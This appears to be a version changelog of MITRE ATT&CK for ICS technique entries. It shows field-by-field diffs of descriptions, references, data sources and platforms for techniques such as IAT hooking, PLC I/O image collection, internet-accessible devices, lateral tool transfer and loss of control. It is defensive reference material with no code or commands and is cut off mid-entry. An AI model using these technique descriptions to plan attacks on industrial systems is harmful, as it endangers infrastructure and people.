| description | Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: EAttack Hooking) One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Stuxnet - Symantec - 201102) | Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for execution and privilege escalation means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. (Citation: Enterprise ATT&CK) One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a processs IAT, where pointers to imported API functions are stored. (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) |
| kill_chain_phases[0]['phase_name'] | persistence-ics | execution-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T874 | https://attack.mitre.org/techniques/T0874 |
| external_references[1]['source_name'] | EAttack Hooking | Enterprise ATT&CK |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Hooking. Retrieved October 27, 2019. | Enterprise ATT&CK Hooking Retrieved. 2019/10/27 |
| external_references[2]['source_name'] | Stuxnet - Symantec - 201102 | Nicolas Falliere, Liam O Murchu, Eric Chien February 2011 |
| external_references[2]['description'] | Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017. | Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 |
| external_references[2]['url'] | https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf | https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_data_sources[1] | Windows registry | Module: Module Load |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'privilege-escalation'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may seek to capture process image values related | t | 1 | Adversaries may seek to capture process values related to th |
| > | to the inputs and outputs of a PLC. Within a PLC all input | > | e inputs and outputs of a PLC. During the scan cycle, a PLC | ||
| > | and output states are stored into an I/O image. This image i | > | reads the status of all inputs and stores them in an image t | ||
| > | s used by the user program instead of directly interacting w | > | able. (Citation: Nanjundaiah, Vaidyanath) The image table is | ||
| > | ith physical I/O. (Citation: PLC-Blaster 2) | > | the PLCs internal storage location where values of inputs/o | ||
| > | utputs for one scan are stored while it executes the user pr | ||||
| > | ogram. After the PLC has solved the entire logic program, it | ||||
| > | updates the output image table. The contents of this output | ||||
| > | image table are written to the corresponding output points | ||||
| > | in I/O Modules. The Input and Output Image tables described | ||||
| > | above make up the I/O Image on a PLC. This image is used by | ||||
| > | the user program instead of directly interacting with physi | ||||
| > | cal I/O. (Citation: Spenneberg, Ralf 2016) Adversaries may | ||||
| > | collect the I/O Image state of a PLC by utilizing a devices | ||||
| > | [Native API](https://attack.mitre.org/techniques/T0834) to | ||||
| > | access the memory regions directly. The collection of the PL | ||||
| > | Cs I/O state could be used to replace values or inform futur | ||||
| > | e stages of an attack. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.927000+00:00 |
| description | Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O. (Citation: PLC-Blaster 2) | Adversaries may seek to capture process values related to the inputs and outputs of a PLC. During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. (Citation: Nanjundaiah, Vaidyanath) The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. The Input and Output Image tables described above make up the I/O Image on a PLC. This image is used by the user program instead of directly interacting with physical I/O. (Citation: Spenneberg, Ralf 2016) Adversaries may collect the I/O Image state of a PLC by utilizing a devices [Native API](https://attack.mitre.org/techniques/T0834) to access the memory regions directly. The collection of the PLCs I/O state could be used to replace values or inform future stages of an attack. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T877 | https://attack.mitre.org/techniques/T0877 |
| external_references[1]['source_name'] | PLC-Blaster 2 | Nanjundaiah, Vaidyanath |
| external_references[1]['description'] | Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019. | Nanjundaiah, Vaidyanath PLC Ladder Logic Basics Retrieved. 2021/10/11 |
| external_references[1]['url'] | https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf | https://www.ezautomation.net/industry-articles/plc-ladder-logic-basics.htm |
| x_mitre_data_sources[0] | Controller program | Asset: Software/Firmware |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Spenneberg, Ralf 2016', 'description': 'Spenneberg, Ralf 2016 PLC-Blaster Retrieved. 2019/06/06 ', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.927000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T872 | https://attack.mitre.org/techniques/T0872 |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Deletion |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Metadata |
| x_mitre_data_sources[3] | API monitoring | File: File Modification |
| x_mitre_data_sources[4] | Windows event logs | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Deletion | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access into industrial environments dir | t | 1 | Adversaries may gain access into industrial environments thr |
| > | ectly through systems exposed to the internet for remote acc | > | ough systems exposed directly to the internet for remote acc | ||
| > | ess rather than through External Remote Services. Minimal pr | > | ess rather than through [External Remote Services](https://a | ||
| > | otections provided by these devices such as password authent | > | ttack.mitre.org/techniques/T0822). Internet Accessible Devic | ||
| > | ication may be targeted and compromised. (Citation: Bowman D | > | es are exposed to the internet unintentionally or intentiona | ||
| > | am - ICS-CERT) In the case of the Bowman dam incident, adve | > | lly without adequate protections. This may allow for adversa | ||
| > | rsaries leveraged access to the dam control network through | > | ries to move directly into the control system network. Acces | ||
| > | a cellular modem. Access to the device was protected by pass | > | s onto these devices is accomplished without the use of expl | ||
| > | word authentication, although the application was vulnerable | > | oits, these would be represented within the [Exploit Public- | ||
| > | to brute forcing. (Citation: Bowman Dam - wall street jou | > | Facing Application](https://attack.mitre.org/techniques/T081 | ||
| > | rnal) (Citation: Bowman Dam - Times) (Citation: Bowman Dam - | > | 9) technique. Adversaries may leverage built in functions | ||
| > | ICS-CERT) | > | for remote access which may not be protected or utilize mini | ||
| > | mal legacy protections that may be targeted. (Citation: NCCI | ||||
| > | C January 2014) These services may be discoverable through t | ||||
| > | he use of online scanning tools. In the case of the Bowman | ||||
| > | dam incident, adversaries leveraged access to the dam contr | ||||
| > | ol network through a cellular modem. Access to the device wa | ||||
| > | s protected by password authentication, although the applica | ||||
| > | tion was vulnerable to brute forcing. (Citation: NCCIC Janua | ||||
| > | ry 2014) (Citation: Danny Yadron December 2015) (Citation: M | ||||
| > | ark Thompson March 2016) In Trend Micros manufacturing dece | ||||
| > | ption operations adversaries were detected leveraging direct | ||||
| > | internet access to an ICS environment through the exposure | ||||
| > | of operational protocols such as Siemens S7, Omron FINS, and | ||||
| > | EtherNet/IP, in addition to misconfigured VNC access. (Cita | ||||
| > | tion: Stephen Hilt, Federico Maggi, Charles Perine, Lord Rem | ||||
| > | orin, Martin Rsler, and Rainer Vosseler) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.930000+00:00 |
| description | Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. (Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing. (Citation: Bowman Dam - wall street journal) (Citation: Bowman Dam - Times) (Citation: Bowman Dam - ICS-CERT) | Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through [External Remote Services](https://attack.mitre.org/techniques/T0822). Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T0819) technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted. (Citation: NCCIC January 2014) These services may be discoverable through the use of online scanning tools. In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing. (Citation: NCCIC January 2014) (Citation: Danny Yadron December 2015) (Citation: Mark Thompson March 2016) In Trend Micros manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access. (Citation: Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rsler, and Rainer Vosseler) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T883 | https://attack.mitre.org/techniques/T0883 |
| external_references[1]['source_name'] | Bowman Dam - ICS-CERT | NCCIC January 2014 |
| external_references[1]['description'] | NCCIC. (2014, January 1). Internet Accessible Control Systems At Risk. Retrieved November 7, 2019. | NCCIC 2014, January 1 Internet Accessible Control Systems At Risk Retrieved. 2019/11/07 |
| external_references[1]['url'] | https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT%20Monitor%20Jan-April2014.pdf | https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf |
| external_references[2]['source_name'] | Bowman Dam - wall street journal | NCCIC January 2014 |
| external_references[2]['description'] | Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019. | NCCIC 2014, January 1 Internet Accessible Control Systems At Risk Retrieved. 2019/11/07 |
| external_references[2]['url'] | https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559 | https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf |
| external_references[3]['source_name'] | Bowman Dam - Times | Danny Yadron December 2015 |
| external_references[3]['description'] | Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019. | Danny Yadron 2015, December 20 Iranian Hackers Infiltrated New York Dam in 2013 Retrieved. 2019/11/07 |
| external_references[3]['url'] | https://time.com/4270728/iran-cyber-attack-dam-fbi/ | https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559 |
| x_mitre_data_sources[0] | Authentication logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Windows | Control Server |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Mark Thompson March 2016', 'description': 'Mark Thompson 2016, March 24 Iranian Cyber Attack on New York Dam Shows Future of War Retrieved. 2019/11/07 ', 'url': 'https://time.com/4270728/iran-cyber-attack-dam-fbi/'} | |
| external_references | {'source_name': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rsler, and Rainer Vosseler', 'description': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rsler, and Rainer Vosseler Mark Thompson 2016, March 24 Iranian Cyber Attack on New York Dam Shows Future of War Retrieved. 2019/11/07 Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats Retrieved. 2021/04/12 ', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf'} | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_platforms | Data Historian | |
| x_mitre_platforms | Field Controller/RTU/PLC/IED | |
| x_mitre_platforms | Human-Machine Interface | |
| x_mitre_platforms | Input/Output Server | |
| x_mitre_platforms | Safety Instrumented System/Protection Relay |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may copy files from one system to another to sta | t | 1 | Adversaries may transfer tools or other files from one syste |
| > | ge adversary tools or other files over the course of an oper | > | m to another to stage adversary tools or other files over th | ||
| > | ation. (Citation: EAttack Remote File Copy) Copying of files | > | e course of an operation. (Citation: Enterprise ATT&CK) Copy | ||
| > | may also be performed laterally between internal victim sys | > | ing of files may also be performed laterally between interna | ||
| > | tems to support Lateral Movement with remote Execution using | > | l victim systems to support Lateral Movement with remote Exe | ||
| > | inherent file sharing protocols such as file sharing over S | > | cution using inherent file sharing protocols such as file sh | ||
| > | MB to connected network shares. (Citation: EAttack Remote Fi | > | aring over SMB to connected network shares. (Citation: Enter | ||
| > | le Copy) In control systems environments, malware may use S | > | prise ATT&CK) In control systems environments, malware may | ||
| > | MB and other file sharing protocols to move laterally throug | > | use SMB and other file sharing protocols to move laterally t | ||
| > | h industrial networks. | > | hrough industrial networks. | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.932000+00:00 |
| name | Remote File Copy | Lateral Tool Transfer |
| description | Adversaries may copy files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: EAttack Remote File Copy) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: EAttack Remote File Copy) In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. | Adversaries may transfer tools or other files from one system to another to stage adversary tools or other files over the course of an operation. (Citation: Enterprise ATT&CK) Copying of files may also be performed laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares. (Citation: Enterprise ATT&CK) In control systems environments, malware may use SMB and other file sharing protocols to move laterally through industrial networks. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T867 | https://attack.mitre.org/techniques/T0867 |
| external_references[1]['source_name'] | EAttack Remote File Copy | Enterprise ATT&CK |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Remote File Copy. Retrieved October 27, 2019. | Enterprise ATT&CK Lateral Tool Transfer Retrieved. 2019/10/27 |
| external_references[1]['url'] | https://attack.mitre.org/techniques/T1105/ | https://attack.mitre.org/techniques/T1570/ |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Packet capture | File: File Creation |
| x_mitre_data_sources[2] | Process use of network | File: File Metadata |
| x_mitre_data_sources[3] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[4] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[5] | Network protocol analysis | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Enterprise ATT&CK', 'description': 'Enterprise ATT&CK Enterprise ATT&CK Lateral Tool Transfer Retrieved. 2019/10/27 Lateral Tool Transfer Retrieved. 2019/10/27 ', 'url': 'https://attack.mitre.org/techniques/T1570/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to disrupt essential components or s | t | 1 | Adversaries may attempt to disrupt essential components or s |
| > | ystems to prevent owner and operator from delivering product | > | ystems to prevent owner and operator from delivering product | ||
| > | s or services. (Citation: Reference - Corero) (Citation: Ref | > | s or services. (Citation: Corero) (Citation: Michael J. Assa | ||
| > | erence - SANS - 201510) (Citation: Reference - RIoT) Adver | > | nte and Robert M. Lee) (Citation: Tyson Macaulay) Adversar | ||
| > | saries may leverage malware to delete or encrypt critical da | > | ies may leverage malware to delete or encrypt critical data | ||
| > | ta on HMIs, workstations, or databases. | > | on HMIs, workstations, or databases. In the 2021 Colonial P | ||
| > | ipeline ransomware incident, pipeline operations were tempor | ||||
| > | ally halted on May 7th and were not fully restarted until Ma | ||||
| > | y 12th. (Citation: Colonial Pipeline Company May 2021) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 | |
| external_references | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.934000+00:00 |
| description | Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. | Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases. In the 2021 Colonial Pipeline ransomware incident, pipeline operations were temporally halted on May 7th and were not fully restarted until May 12th. (Citation: Colonial Pipeline Company May 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T826 | https://attack.mitre.org/techniques/T0826 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Colonial Pipeline Company May 2021', 'description': 'Colonial Pipeline Company 2021, May Media Statement Update: Colonial Pipeline System Disruption Retrieved. 2021/10/08 ', 'url': 'https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption'} |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may seek to achieve a sustained loss of control | t | 1 | Adversaries may seek to achieve a sustained loss of control |
| > | or a runaway condition in which operators cannot issue any c | > | or a runaway condition in which operators cannot issue any c | ||
| > | ommands even if the malicious interference has subsided. (Ci | > | ommands even if the malicious interference has subsided. (Ci | ||
| > | tation: Reference - Corero) (Citation: Reference - SANS - 20 | > | tation: Corero) (Citation: Michael J. Assante and Robert M. | ||
| > | 1510) (Citation: Reference - RIoT) Contributors: Dragos Thr | > | Lee) (Citation: Tyson Macaulay) The German Federal Office f | ||
| > | eat Intelligence | > | or Information Security (BSI) reported a targeted attack on | ||
| > | a steel mill in its 2014 IT Security Report. (Citation: BSI | ||||
| > | State of IT Security 2014) These targeted attacks affected | ||||
| > | industrial operations and resulted in breakdowns of control | ||||
| > | system components and even entire installations. As a result | ||||
| > | of these breakdowns, massive impact resulted in damage and | ||||
| > | unsafe conditions from the uncontrolled shutdown of a blast | ||||
| > | furnace. | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 | |
| external_references | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.936000+00:00 |
| description | Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) Contributors: Dragos Threat Intelligence | Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. (Citation: BSI State of IT Security 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T827 | https://attack.mitre.org/techniques/T0827 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BSI State of IT Security 2014', 'description': 'Bundesamt fr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security) 2014 Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany) Retrieved. 2019/10/30 ', 'url': 'https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3'} |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause loss of productivity and revenue throu | t | 1 | Adversaries may cause loss of productivity and revenue throu |
| > | gh disruption and even damage to the availability and integr | > | gh disruption and even damage to the availability and integr | ||
| > | ity of control system operations, devices, and related proce | > | ity of control system operations, devices, and related proce | ||
| > | sses. This technique may manifest as a direct effect of an I | > | sses. This technique may manifest as a direct effect of an I | ||
| > | CS-targeting attack or tangentially, due to an IT-targeting | > | CS-targeting attack or tangentially, due to an IT-targeting | ||
| > | attack against non-segregated environments. In some cases, t | > | attack against non-segregated environments. In cases where | ||
| > | his may result from the postponement and disruption of ICS o | > | these operations or services are brought to a halt, the los | ||
| > | perations and production as part of a remediation effort. Op | > | s of productivity may eventually present an impact for the e | ||
| > | erations may be brought to a halt and effectively stopped in | > | nd-users or consumers of products and services. The disrupte | ||
| > | an effort to contain and properly remove malware or due to | > | d supply-chain may result in supply shortages and increased | ||
| > | the <span class="smw-format list-format "><span class="smw-r | > | prices, among other consequences. A ransomware attack on a | ||
| > | ow"><span class="smw-field"><span class="smw-value">Loss of | > | n Australian beverage company resulted in the shutdown of so | ||
| > | Safety</span></span></span></span>. | > | me manufacturing sites, including precautionary halts to pro | ||
| > | tect key systems. (Citation: Paganini, Pierluigi June 2020) | ||||
| > | The company announced the potential for temporary shortages | ||||
| > | of their products following the attack. (Citation: Paganini, | ||||
| > | Pierluigi June 2020) (Citation: Lion Corporation June 2020) | ||||
| > | In the 2021 Colonial Pipeline ransomware incident, the pip | ||||
| > | eline was unable to transport approximately 2.5 million barr | ||||
| > | els of fuel per day to the East Coast. (Citation: Colonial | ||||
| > | Pipeline Company May 2021) | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.938000+00:00 |
| description | Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety. | Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences. A ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Paganini, 